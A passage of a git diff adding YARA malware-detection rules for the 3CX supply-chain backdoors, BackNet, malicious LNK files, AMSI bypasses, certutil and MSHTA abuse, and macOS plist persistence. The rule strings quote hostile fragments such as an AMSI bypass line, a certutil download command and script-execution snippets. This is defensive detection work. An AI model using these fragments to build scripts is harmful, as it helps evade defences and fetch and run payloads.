+      and $x1
+}
+
+rule SUSP_3CX_App_Signed_Binary_Mar23_1 {
+   meta:
+      description = "Detects 3CX application binaries signed with a certificate and created in a time frame in which other known malicious binaries have been created"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2023-03-29"
+      reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+      score = 65
+      hash1 = "fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405"
+      hash2 = "dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc"
+      id = "b6ce4c1d-1b7b-5e0c-af4c-05cb3ad0a4e0"
+   strings:
+      $sa1 = "3CX Ltd1"
+      $sa2 = "3CX Desktop App" wide
+      $sc1 = { 1B 66 11 DF 9C 9A 4D 6E CC 8E D5 0C 9B 91 78 73 } // Known compromised cert
+   condition:
+      uint16(0) == 0x5a4d
+      and pe.timestamp > 1669680000 // 29.11.2022 earliest known malicious sample 
+      and pe.timestamp < 1680108505 // 29.03.2023 date of the report
+      and all of ($sa*)
+      and $sc1 // serial number of known compromised certificate
+}
+
+rule SUSP_3CX_MSI_Signed_Binary_Mar23_1 {
+   meta:
+      description = "Detects 3CX MSI installers signed with a known compromised certificate and signed in a time frame in which other known malicious binaries have been signed"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2023-03-29"
+      reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+      score = 60
+      hash1 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
+      hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
+      id = "15d6d8ca-6982-5095-9879-ce97269a71c6"
+   strings:
+      $a1 = { 84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46 } // MSI marker
+
+      $sc1 = { 1B 66 11 DF 9C 9A 4D 6E CC 8E D5 0C 9B 91 78 73 } // Known compromised cert
+
+      $s1 = "3CX Ltd1"
+      $s2 = "202303" // in 
+   condition:
+      uint16(0) == 0xcfd0
+      and $a1 
+      and $sc1 
+      and (
+         $s1 in (filesize-20000..filesize)
+         and $s2 in (filesize-20000..filesize)
+      )
+}
+
+rule APT_MAL_macOS_NK_3CX_Malicious_Samples_Mar23_1 {
+   meta:
+      description = "Detects malicious macOS application related to 3CX compromise (decrypted payload)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+      date = "2023-03-30"
+      score = 80
+      hash1 = "b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb"
+      hash2 = "ac99602999bf9823f221372378f95baa4fc68929bac3a10e8d9a107ec8074eca"
+      hash3 = "51079c7e549cbad25429ff98b6d6ca02dc9234e466dd9b75a5e05b9d7b95af72"
+      id = "ff39e577-7063-5025-bead-68394a86c87c"
+    strings:
+      $s1 = "20230313064152Z0"
+      $s2 = "Developer ID Application: 3CX (33CF4654HL)"
+    condition:
+      ( uint16(0) == 0xfeca or uint16(0) == 0xfacf or uint32(0) == 0xbebafeca ) and all of them
+}
+
+/* 30.03.2023 */
+
+rule APT_MAL_MacOS_NK_3CX_DYLIB_Mar23_1 {
+   meta:
+      description = "Detects malicious DYLIB files related to 3CX compromise"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/"
+      date = "2023-03-30"
+      score = 80
+      hash1 = "a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67"
+      hash2 = "fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7"
+      id = "a19904d3-9b2d-561f-b734-20bf09584fa7"
+   strings:
+      /* XORed UA 0x7a */
+      $xc1 = { 37 15 00 13 16 16 1B 55 4F 54 4A 5A 52 2D 13 14 
+               1E 15 0D 09 5A 34 2E 5A 4B 4A 54 4A 41 5A 2D 13
+               14 4C 4E 41 5A 02 4C 4E 53 5A 3B 0A 0A 16 1F 2D
+               1F 18 31 13 0E 55 4F 49 4D 54 49 4C 5A 52 31 32
+               2E 37 36 56 5A 16 13 11 1F 5A 3D 1F 19 11 15 53
+               5A 39 12 08 15 17 1F 55 4B 4A 42 54 4A 54 4F 49
+               4F 43 54 4B 48 42 5A 29 1B 1C 1B 08 13 55 4F 49
+               4D 54 49 4C 7A }
+      /* /;3cx_auth_token_content=%s;__tutma= */
+      $xc2 = { 41 49 19 02 25 1b 0f 0e 12 25 0e 15 11 1f 14 25 19 15 14 0e 1f 14 0e 47 5f 09 41 25 25 0e 0f 0e 17 1b 47 }
+      /* /System/Library/CoreServices/SystemVersion.plist */
+      $xc3 = { 55 29 03 09 0e 1f 17 55 36 13 18 08 1b 08 03 55 39 15 08 1f 29 1f 08 0c 13 19 1f 09 55 29 03 09 0e 1f 17 2c 1f 08 09 13 15 14 54 0a 16 13 09 0e }
+   condition:
+      1 of them
+}
+
+rule APT_SUSP_NK_3CX_Malicious_Samples_Mar23_1 {
+   meta:
+      description = "Detects indicator (event name) found in samples related to 3CX compromise"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/"
+      date = "2023-03-30"
+      score = 70
+      hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
+      hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
+      hash3 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
+      hash4 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
+      id = "b233846a-19df-579b-a674-233d66824008"
+   strings:
+      $a1 = "AVMonitorRefreshEvent" wide fullword
+   condition:
+      1 of them
+}
+
+rule APT_MAL_NK_3CX_Malicious_Samples_Mar23_4 {
+    meta:
+        author = "MalGamy (Nextron Systems)"
+        reference = "https://twitter.com/WhichbufferArda/status/1641404343323688964?s=20"
+        description = "Detects decrypted payload loaded inside 3CXDesktopApp.exe which downloads info stealer"
+        date = "2023-03-29"
+        hash = "851c2c99ebafd4e5e9e140cfe3f2d03533846ca16f8151ae8ee0e83c692884b7" 
+        score = 80
+        id = "d11170df-570c-510c-80ec-39048acd0fbd"
+    strings:
+        $op1 = {41 69 D0 [4] 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 81 C2 [4] 33 C1 43 8D 0C 02 02 C8 49 C1 EA ?? 41 88 0B 8B C8 C1 E1 ?? 33 C1 44 69 C2 [4] 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 41 81 C0 [4] 33 C1 4C 0F AF CF 4D 03 CA 45 8B D1 4C 0F AF D7 41 8D 0C 11 49 C1 E9 ?? 02 C8} // // xor with mul operation
+        $op2 = {4D 0F AF CC 44 69 C2 [4] 4C 03 C9 45 8B D1 4D 0F AF D4 41 8D 0C 11 41 81 C0 [4] 02 C8 49 C1 E9 ?? 41 88 4B ?? 4D 03 D1 8B C8 45 8B CA C1 E1 ?? 33 C1} // xor with mul operation
+        $op3 = {33 C1 4C 0F AF C7 8B C8 C1 E1 ?? 4D 03 C2 33 C1} // shift operation
+    condition: 
+        2 of them
+}
+
+rule MAL_3CXDesktopApp_MacOS_Backdoor_Mar23 {
+    meta:
+      author = "X__Junior (Nextron Systems)"
+        reference = "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/"
+        description = "Detects 3CXDesktopApp MacOS Backdoor component"
+        date = "2023-03-30"
+        hash = "a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67"
+        score = 80
+      id = "80046c8e-0c2a-5885-b140-a6084f48160d"
+    strings:
+        $sa1 = "%s/.main_storage" ascii fullword
+        $sa2 = "%s/UpdateAgent" ascii fullword
+
+        $op1 = { 31 C0 41 80 34 06 ?? 48 FF C0 48 83 F8 ?? 75 ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 F7 48 89 D9 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 F7 5B 41 5E 41 5F E9 ?? ?? ?? ?? 5B 41 5E 41 5F C3} /* string decryption */
+        $op2 = { 0F 11 84 24 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 31 C0 80 B4 04 ?? ?? ?? ?? ?? 48 FF C0} /* string decryption */
+    condition:
+      ( ( uint16(0) == 0xfeca or uint16(0) == 0xfacf or uint32(0) == 0xbebafeca ) and filesize < 6MB
+         and
+         (
+            ( 1 of ($sa*) and 1 of ($op* ) )
+            or all of ($sa*)
+         )
+      )
+      or ( all of ($op*) )
+}
+
+/* 31.03.2023 */
+
+rule APT_MAL_NK_3CX_ICONIC_Stealer_Mar23_1 {
+   meta:
+      description = "Detects ICONIC stealer payload used in the 3CX incident"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/volexity/threat-intel/blob/main/2023/2023-03-30%203CX/attachments/iconicstealer.7z"
+      date = "2023-03-31"
+      score = 80
+      hash1 = "8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423"
+      id = "e92b5b90-1146-5235-9711-a4d42689c49b"
+   strings:
+      
+      $s1 = "{\"HostName\": \"%s\", \"DomainName\": \"%s\", \"OsVersion\": \"%d.%d.%d\"}" wide fullword
+      $s2 = "******************************** %s ******************************" wide fullword
+      $s3 = "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data" wide fullword
+      $s4 = "AppData\\Roaming\\Mozilla\\Firefox\\Profiles" wide fullword
+      $s5 = "SELECT url, title FROM urls ORDER BY id DESC LIMIT 500" wide fullword
+      $s6 = "TEXT value in %s.%s" ascii fullword
+
+      $op1 = { 48 63 d1 48 63 ce 49 03 d1 49 03 cd 4c 63 c7 e8 87 1f 09 00 8b 45 d0 44 8d 04 37 }
+      $op2 = { 48 8b c8 8b 56 f0 48 89 46 d8 e8 78 8f f8 ff e9 ec 13 00 00 c7 46 20 ff ff ff ff e9 e0 13 00 00 33 ff }
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 4000KB 
+      and 4 of them
+      or 6 of them
+}
+
+rule APT_MAL_NK_3CX_macOS_Elextron_App_Mar23_1 {
+   meta:
+      description = "Detects macOS malware used in the 3CX incident"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2023-03-31"
+      score = 80
+      hash1 = "51079c7e549cbad25429ff98b6d6ca02dc9234e466dd9b75a5e05b9d7b95af72"
+      hash2 = "f7ba7f9bf608128894196cf7314f68b78d2a6df10718c8e0cd64dbe3b86bc730"
+      id = "7a3755d4-37e5-5d3b-93aa-34edb557f2d5"
+   strings:
+      $a1 = "com.apple.security.cs.allow-unsigned-executable-memory" ascii
+      $a2 = "com.electron.3cx-desktop-app" ascii fullword
+
+      $s1 = "s8T/RXMlALbXfowom9qk15FgtdI=" ascii
+      $s2 = "o8NQKPJE6voVZUIGtXihq7lp0cY=" ascii
+   condition:
+      uint16(0) == 0xfacf and
+      filesize < 400KB and (
+         all of ($a*) 
+         and 1 of ($s*)
+      )
+}
+
+rule MAL_3CXDesktopApp_MacOS_UpdateAgent_Mar23 {
+   meta:
+      description = "Detects 3CXDesktopApp MacOS UpdateAgent backdoor component"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/patrickwardle/status/1641692164303515653?s=20"
+      date = "2023-03-30"
+      hash = "9e9a5f8d86356796162cee881c843cde9eaedfb3"
+      score = 80
+      id = "596eb6d0-f96f-5106-ae67-9372d238e4cf"
+   strings:
+      $a1 = "/3CX Desktop App/.main_storage" ascii
+
+      $x1 = ";3cx_auth_token_content=%s;__tutma=true"
+
+      $s1 = "\"url\": \"https://"
+      $s3 = "/dev/null"
+      $s4 = "\"AccountName\": \""
+   condition:
+      uint16(0) == 0xfeca 
+      and filesize < 6MB
+      and (
+         1 of ($x*)
+         or ( $a1 and all of ($s*) )
+      ) or all of them
+}
+
+rule SUSP_APT_3CX_Regtrans_Anomaly_Apr23 : METARULE {
+   meta:
+      description = "Detects suspicious .regtrans-ms files with suspicious size or contents"
+      author = "Florian Roth"
+      reference = "https://www.3cx.com/blog/news/mandiant-initial-results/"
+      date = "2023-04-12"
+      score = 60
+      id = "97406b8d-68fe-5f68-a26a-205dd4694e50"
+   strings:
+      $fp1 = "REGISTRY" wide
+   condition:
+      extension == ".regtrans-ms" and (
+         filesize < 100KB
+         and not 1 of ($fp*)
+      )
+}
+
+rule APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_2 {
+   meta:
+      description = "Detects malicious VEILEDSIGNAL backdoor"
+      author = "X__Junior"
+      reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
+      date = "2023-04-29"
+      hash = "c4887a5cd6d98e273ba6e9ea3c1d8f770ef26239819ea24a1bfebd81d6870505"
+      score = 80
+      id = "ff1fa0bd-19b7-553a-9506-bc5aa5d29056"
+   strings:
+      $sa1 = "\\.\\pipe\\gecko.nativeMessaging" ascii
+      $sa2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" ascii
+      $sa3 = "application/json, text/javascript, */*; q=0.01" ascii
+
+      $op1 = { 89 7? 24 ?? 44 8B CD 4C 8B C? 48 89 44 24 ?? 33 D2 33 C9 FF 15} /* MultiByteToWideChar */
+      $op2 = { 4C 8B CB 4C 89 74 24 ?? 4C 8D 05 ?? ?? ?? ?? 44 89 74 24 ?? 33 D2 33 C9 FF 15} /* create thread*/
+      $op3 = { 48 89 74 24 ?? 45 33 C0 89 74 24 ?? 41 B9 ?? ?? ?? ?? 89 74 24 ?? 48 8B D8 48 C7 00 ?? ?? ?? ?? 48 8B 0F 41 8D 50 ?? 48 89 44 24 ?? 89 74 24 ?? FF 15} /* CreateNamedPipeW */
+   condition:
+      all of ($op*) or all of ($sa*)
+}
+
+rule APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_3 {
+   meta:
+      description = "Detects malicious VEILEDSIGNAL backdoor"
+      author = "X__Junior"
+      reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
+      date = "2023-04-29"
+      hash = "595392959b609caf088d027a23443cf2fefd043607ccdec3de19ad3bb43a74b1"
+      score = 80
+      id = "6b6f984e-242a-5b84-baa9-6311992cde9b"
+   strings:
+      $op1 = { 4C 8B CB 4C 89 74 24 ?? 4C 8D 05 ?? ?? ?? ?? 44 89 74 24 ?? 33 D2 33 C9 FF 15} /* create thread*/
+      $op2 = { 89 7? 24 ?? 44 8B CD 4C 8B C? 48 89 44 24 ?? 33 D2 33 C9 FF 15} /* MultiByteToWideChar */
+      $op3 = { 8B 54 24 ?? 4C 8D 4C 24 ?? 45 8D 46 ?? 44 89 74 24 ?? 48 8B CB FF 15} /* virtualprotect */
+      $op4 = { 48 8D 44 24 ?? 45 33 C9 41 B8 01 00 00 40 48 89 44 24 ?? 41 8B D5 48 8B CF FF 15} /*  CryptBinaryToStringA */
+   condition:
+      all of them
+}
+
+rule APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_4 {
+   meta:
+      description = "Detects malicious VEILEDSIGNAL backdoor"
+      author = "X__Junior"
+      reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
+      date = "2023-04-29"
+      hash = "9b0761f81afb102bb784b398b16faa965594e469a7fcfdfd553ced19cc17e70b"
+      score = 80
+      id = "77340ec0-36bb-5c47-995f-4e6f76b68fe1"
+   strings:
+      $op1 = { 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 } /* check for certian process */
+		$op2 = { 48 8B C8 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C0 4C 8D 4D ?? B2 01 41 8D 48 ?? FF D0} /* RtlAdjustPrivilege */
+      $op3 = { 33 FF C7 44 24 ?? 38 02 00 00 33 D2 8D 4F ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 FF 74 ?? 48 8D 54 24 ?? 48 8B C8 FF 15 } /* Process32FirstW */
+      $op4 = { 4C 8D 05 ?? ?? ?? ?? 48 89 4C 24 ?? 4C 8B C8 33 D2 89 4C 24 ?? FF 15 } /* create thread*/
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/gen_mal_backnet.yar b/yara-Neo23x0/gen_mal_backnet.yar
new file mode 100644
index 0000000..9fb9d10
--- /dev/null
+++ b/yara-Neo23x0/gen_mal_backnet.yar
@@ -0,0 +1,20 @@
+
+rule MAL_BackNet_Nov18_1 {
+   meta:
+      description = "Detects BackNet samples"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/valsov/BackNet"
+      date = "2018-11-02"
+      hash1 = "4ce82644eaa1a00cdb6e2f363743553f2e4bd1eddb8bc84e45eda7c0699d9adc"
+      id = "f8575c5a-710d-5e97-91c1-5db454c6baf4"
+   strings:
+      $s1 = "ProcessedByFody" fullword ascii
+      $s2 = "SELECT * FROM AntivirusProduct" fullword wide
+      $s3 = "/C netsh wlan show profile" wide
+      $s4 = "browsertornado" fullword wide
+      $s5 = "Current user is administrator" fullword wide
+      $s6 = "/C choice /C Y /N /D Y /T 4 & Del" wide
+      $s7 = "ThisIsMyMutex-2JUY34DE8E23D7" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and 2 of them
+}
diff --git a/yara-Neo23x0/gen_mal_link.yar b/yara-Neo23x0/gen_mal_link.yar
new file mode 100644
index 0000000..b645328
--- /dev/null
+++ b/yara-Neo23x0/gen_mal_link.yar
@@ -0,0 +1,26 @@
+
+rule LNK_Malicious_Nov1 {
+   meta:
+      description = "Detects a suspicious LNK file"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.virustotal.com/en/file/ee069edc46a18698fa99b6d2204895e6a516af1a306ea986a798b178f289ecd6/analysis/"
+      date = "2017-11-06"
+      score = 60
+      id = "1d08ac78-6ff0-5e3f-acc2-91bd63267d4c"
+   strings:
+      $c1 = "C:\\Windows\\System32\\cmd.exe" ascii wide
+
+      $s1 = "cmd.exe /" ascii wide nocase
+      $s2 = { 00 25 00 53 00 79 00 73 00 74 00 65 00 6D 00 52
+              00 6F 00 6F 00 74 00 25 00 5C 00 53 00 79 00 73
+              00 74 00 65 00 6D 00 33 00 32 00 EF 01 2F 00 43
+              00 20 00 22 00 63 00 6D 00 64 00 2E 00 65 00 78
+              00 65 }
+      $s3 = "%comspec%" ascii wide nocase fullword
+
+      $fp1 = "Microsoft Visual" ascii wide
+   condition:
+      ( uint32(0) == 0x0000004c and filesize < 4KB and $c1 and 1 of ($s*) )
+      and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/gen_mal_scripts.yar b/yara-Neo23x0/gen_mal_scripts.yar
new file mode 100644
index 0000000..de5e243
--- /dev/null
+++ b/yara-Neo23x0/gen_mal_scripts.yar
@@ -0,0 +1,155 @@
+
+/* Various rules - see the references */
+
+rule PS_AMSI_Bypass : FILE {
+   meta:
+      description = "Detects PowerShell AMSI Bypass"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1"
+      date = "2017-07-19"
+      score = 65
+      id = "31ab8932-4c74-5251-a044-3fcc0aa159f4"
+   strings:
+      $s1 = ".GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static')." ascii nocase
+   condition:
+      1 of them
+}
+
+rule JS_Suspicious_Obfuscation_Dropbox {
+   meta:
+      description = "Detects PowerShell AMSI Bypass"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/ItsReallyNick/status/887705105239343104"
+      date = "2017-07-19"
+      score = 70
+      id = "9b6b288d-3a15-5267-bbb1-885febf4df78"
+   strings:
+      $x1 = "j\"+\"a\"+\"v\"+\"a\"+\"s\"+\"c\"+\"r\"+\"i\"+\"p\"+\"t\""
+      $x2 = "script:https://www.dropbox.com" ascii
+   condition:
+      2 of them
+}
+
+rule JS_Suspicious_MSHTA_Bypass {
+   meta:
+      description = "Detects MSHTA Bypass"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/ItsReallyNick/status/887705105239343104"
+      date = "2017-07-19"
+      score = 70
+      id = "b2ddca78-c19a-5bb6-a1c9-4413e637ab1d"
+   strings:
+      $s1 = "mshtml,RunHTMLApplication" ascii
+      $s2 = "new ActiveXObject(\"WScript.Shell\").Run(" ascii
+      $s3 = "/c start mshta j" ascii nocase
+   condition:
+      2 of them
+}
+
+rule JavaScript_Run_Suspicious {
+   meta:
+      description = "Detects a suspicious Javascript Run command"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/craiu/status/900314063560998912"
+      score = 60
+      date = "2017-08-23"
+      id = "87f98ead-3052-5777-8877-574619173aaa"
+   strings:
+      $s1 = "w = new ActiveXObject(" ascii
+      $s2 = " w.Run(r);" fullword ascii
+   condition:
+      all of them
+}
+
+/* Certutil Rule Improved */
+
+rule Certutil_Decode_OR_Download {
+   meta:
+      description = "Certutil Decode"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      score = 40
+      date = "2017-08-29"
+      modified = "2023-10-19"
+      id = "63bdefd2-225a-56d5-b615-5e236c97f050"
+   strings:
+      $a1 = "certutil -decode " ascii wide
+      $a2 = "certutil  -decode " ascii wide
+      $a3 = "certutil.exe -decode " ascii wide
+      $a4 = "certutil.exe  -decode " ascii wide
+      $a5 = "certutil -urlcache -split -f http" ascii wide
+      $a6 = "certutil.exe -urlcache -split -f http" ascii wide
+
+      $fp_msi = { 52 00 6F 00 6F 00 74 00 20 00 45 00 6E 00 74 00 72 00 79 }
+   condition:
+      filesize < 700KB
+      and 1 of ($a*)
+      and not 1 of ($fp*)
+}
+
+rule Suspicious_JS_script_content {
+   meta:
+      description = "Detects suspicious statements in JavaScript files"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Research on Leviathan https://goo.gl/MZ7dRg"
+      date = "2017-12-02"
+      score = 70
+      hash1 = "fc0fad39b461eb1cfc6be57932993fcea94fca650564271d1b74dd850c81602f"
+      id = "6a547aa5-c58c-5559-9d3f-3f0d541eafd4"
+   strings:
+      $x1 = "new ActiveXObject('WScript.Shell')).Run('cmd /c " ascii
+      $x2 = ".Run('regsvr32 /s /u /i:" ascii
+      $x3 = "new ActiveXObject('WScript.Shell')).Run('regsvr32 /s" fullword ascii
+      $x4 = "args='/s /u /i:" ascii
+   condition:
+      ( filesize < 10KB and 1 of them )
+}
+
+rule Universal_Exploit_Strings {
+   meta:
+      description = "Detects a group of strings often used in exploit codes"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "not set"
+      date = "2017-12-02"
+      score = 50
+      hash1 = "9b07dacf8a45218ede6d64327c38478640ff17d0f1e525bd392c002e49fe3629"
+      id = "4b3a9eec-5f7c-579c-9719-fe23cc291aee"
+   strings:
+      $s1 = "Exploit" fullword ascii
+      $s2 = "Payload" fullword ascii
+      $s3 = "CVE-201" ascii
+      $s4 = "bindshell"
+   condition:
+      ( filesize < 2KB and 3 of them )
+}
+
+rule VBS_Obfuscated_Mal_Feb18_1  {
+   meta:
+      description = "Detects malicious obfuscated VBS observed in February 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/zPsn83"
+      date = "2018-02-12"
+      hash1 = "06960cb721609fe5a857fe9ca3696a84baba88d06c20920370ddba1b0952a8ab"
+      hash2 = "c5c0e28093e133d03c3806da0061a35776eed47d351e817709d2235b95d3a036"
+      hash3 = "e1765a2b10e2ff10235762b9c65e9f5a4b3b47d292933f1a710e241fe0417a74"
+      id = "39ea10e5-9dea-5cc8-8388-15378fcbab60"
+   strings:
+      $x1 = "A( Array( (1* 2^1 )+" ascii
+      $x2 = ".addcode(A( Array(" ascii
+      $x3 = "false:AA.send:Execute(AA.responsetext):end" ascii
+      $x4 = "& A( Array(  (1* 2^1 )+" ascii
+
+      $s1 = ".SYSTEMTYPE:NEXT:IF (UCASE(" ascii
+      $s2 = "A = STR:next:end function" ascii
+      $s3 = "&WSCRIPT.SCRIPTFULLNAME&CHR" fullword ascii
+   condition:
+      filesize < 600KB and ( 1 of ($x*) or 3 of them )
+}
diff --git a/yara-Neo23x0/gen_maldoc.yar b/yara-Neo23x0/gen_maldoc.yar
new file mode 100644
index 0000000..5ee9fbd
--- /dev/null
+++ b/yara-Neo23x0/gen_maldoc.yar
@@ -0,0 +1,16 @@
+rule SUSP_Doc_WindowsInstaller_Call_Feb22_1 {
+    meta:
+        author = "Nils Kuhnert"
+        date = "2022-02-26"
+        description = "Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts."
+        tlp = "white"
+        reference = "https://inquest.net/blog/2022/02/24/dangerously-thinbasic"
+        reference2 = "https://twitter.com/threatinsight/status/1497355737844133895"
+        id = "8f2e8f91-74e0-5574-9c0a-1479d6114212"
+    strings:
+        $ = "WindowsInstaller.Installer$"
+        $ = "CreateObject"
+        $ = "InstallProduct"
+    condition:
+        uint32be(0) == 0xd0cf11e0 and all of them
+}
diff --git a/yara-Neo23x0/gen_malware_MacOS_plist_suspicious.yar b/yara-Neo23x0/gen_malware_MacOS_plist_suspicious.yar
new file mode 100644
index 0000000..df81b3e
--- /dev/null
+++ b/yara-Neo23x0/gen_malware_MacOS_plist_suspicious.yar
@@ -0,0 +1,66 @@
+rule SUSP_MacOS_Plist_Suspicious {
+   meta:
+      description = "Suspicious PLIST files in MacOS (possible malware persistence)"
+      author = "John Lambert @JohnLaTwC"
+      date = "2018-12-14"
+      modified = "2023-10-19"
+      old_rule_name = "gen_malware_MacOS_plist_suspicious"
+      reference = "https://objective-see.com/blog/blog_0x3A.html"
+      hash1 = "0541fc6a11f4226d52ae3d4158deb8f50ed61b25bb5f889d446102e1ee57b76d"
+      hash2 = "6cc6abec7d203f99c43ce16630edc39451428d280b02739757f17fd01fc7dca3"
+      hash3 = "76eb97aba93979be06dbf0a872518f9514d0bb20b680c887d6fd5cc79dce3681"
+      hash4 = "8921e3f1955f7141d1231f8cfd95230143525f259e578fdc1dd98494f62ec4a1"
+      hash5 = "9a3fd0d2b0bca7d2f7e3c70cb15a7005a1afa1ce78371fd3fa9c526a288b64ce"
+      hash6 = "737355121685afc38854413d8a1657886f9aa24f54673953749386defe843017"
+      hash7 = "9b77622653934995ee8bb5562df311f5bb6d6719933e2671fe231a664da76d30"
+      hash8 = "c449f8115b4b939271cb92008a497457e1ab1cf2cbd8f4b58f7ba955cf5624f0"
+      hash9 = "cdb2fb9c8e84f0140824403ec32a2431fb357cd0f184c1790152834cc3ad3c1b"
+      id = "61b5986d-35c9-5e1a-a077-14cecdbed36f"
+   strings:
+      $sr1 = "PropertyList-"
+      $sr2 = "<plist"
+
+      $p1 = "python" ascii
+      $p2 = "<string>-c" ascii
+
+      // possible bitcoin wallet. could be coinminer config
+      $v0 = /\<string\>[\/|\w]{0,20}\+[\/|\+|=|\w]{59,80}\<\/string\>/
+      //see 0541fc6a11f4226d52ae3d4158deb8f50ed61b25bb5f889d446102e1ee57b76d
+      $v1 = "curl " fullword
+      // see 9a3fd0d2b0bca7d2f7e3c70cb15a7005a1afa1ce78371fd3fa9c526a288b64ce
+      $v2 = "PAYLOAD_DATA"
+      $v3 = "base64"
+      // see 9a3fd0d2b0bca7d2f7e3c70cb15a7005a1afa1ce78371fd3fa9c526a288b64ce
+      //PAYLOAD_BASE64
+      $vb640 = /(AAQQBZAEwATwBBAEQAXwBCAEEAUwBFADYANA|AEEAWQBMAE8AQQBEAF8AQgBBAFMARQA2ADQA|BBWUxPQURfQkFTRTY0|QVlMT0FEX0JBU0U2N|UABBAFkATABPAEEARABfAEIAQQBTAEUANgA0A|UEFZTE9BRF9CQVNFNj)/
+      //subprocess
+      $vb641 = /(AHUAYgBwAHIAbwBjAGUAcwBzA|c3VicHJvY2Vzc|cwB1AGIAcAByAG8AYwBlAHMAcw|dWJwcm9jZXNz|MAdQBiAHAAcgBvAGMAZQBzAHMA|N1YnByb2Nlc3)/
+      // #!/usr
